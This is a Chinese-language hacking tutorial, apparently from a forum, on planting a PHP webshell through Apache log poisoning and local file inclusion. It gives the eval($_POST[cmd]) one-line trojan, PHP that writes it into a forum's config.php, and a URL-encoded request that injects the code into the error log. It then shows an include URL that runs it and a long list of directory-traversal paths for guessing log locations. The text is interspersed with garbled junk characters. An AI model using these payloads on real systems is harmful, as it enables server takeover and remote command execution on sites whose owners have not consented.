php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

' L4 m* Z* X' [1 O- C8 K0 U比如还是这句一句话木马
2 s& P3 D+ V7 S" Y; ?3 f, i9 Q<?eval($_POST[cmd]);?>   

到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
! n5 `6 q% U2 R$ ^2 Gfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

9 x( {6 O4 t, J& o  b. w0 M<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句

* z% Z5 J; A# w我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
' k- }" M  |% D转换为
& X5 ~/ ^4 X  r) \( @% q%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
2 R/ y) ?/ m, C- e- A2 ]config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
7 H) a% b5 b; x6 ^8 Ifclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
& ^5 ]: Z9 _1 b, ~6 }+ w%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
  j4 K7 ]& P9 {- \% c%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
6 B- M$ L6 t0 f! m5 scmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
/ e2 q4 \8 u/ C! w2 |直接用lanker的客户端一连，主机就是你的了。
- ]% T# ^; x, B6 T/ P
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

) ~- |; b  B% V+ v, @0 P其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
  k. ]+ M; I2 B( W../../../../../../../../../../var/log/httpd/error_log
! Z+ z  ~7 ~& h0 Y4 H) h../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
7 _( ?- e" @4 S! K8 `, O../../../apache/logs/error.log
../../../apache/logs/access.log
% \/ p, u/ m6 R! O../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
" P, p6 Z, O  ?* I7 H# i1 r  l../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
/ t& t7 Q# @. n# l7 X7 s  s../../../../../../../../../../var/www/logs/access.log
$ n( T/ Z* S" m7 I../../../../../../../../../../usr/local/apache/logs/access_log
$ E/ T5 m# |9 m! Y8 R../../../../../../../../../../usr/local/apache/logs/access.log
9 M# b6 k2 f/ Q& v; s8 Z3 \../../../../../../../../../../var/log/apache/access_log
! n) Z4 p4 }! f; t1 j2 x2 D../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
1 \3 t2 d. Z6 R../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
( G5 E& T, ]" Q! \../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
  S, P6 \3 I7 e- \; `7 m../../../../../../../../../../var/log/apache/error.log
# I+ t6 d$ G5 P$ k" Z6 x- q; r: o../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
: ]' T0 P, I2 v" c/ g! M/var/log/httpd/access_log      
4 F$ t3 G6 `' ]) L/var/log/httpd/error_log     
+ x0 I8 b7 ]* Y8 J../apache/logs/error.log     
5 b* f4 B" B+ [) s. ~../apache/logs/access.log
# B; ], Y: u1 `! H, n! f8 Y4 l../../apache/logs/error.log
2 ~! D+ ^$ m9 l* W# O../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
: L' J( B+ x$ p/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
4 J; ]* s& g: S' H! X+ n/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
! G. }2 b: g* \. z1 b8 R- J+ u5 R/usr/local/apache/logs/access.log
  g# c# r) w' D4 B: k3 s( N/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
8 _2 Y. A8 e# F/var/www/logs/error_log
2 `6 t& k& H% g! j  W/var/www/logs/error.log
1 [- D5 s% D- E! A$ d2 B/usr/local/apache/logs/error_log
; w( W9 Q4 r9 @0 u9 A. ^/usr/local/apache/logs/error.log
7 K. W5 f, H$ ?9 [. D( Y2 `* r/var/log/apache/error_log
/var/log/apache/error.log
, ~$ o% c; b$ d- e& \+ d8 i/var/log/access_log
2 {  E/ _7 n% Q' [! `& |  B- V' ]/var/log/error_log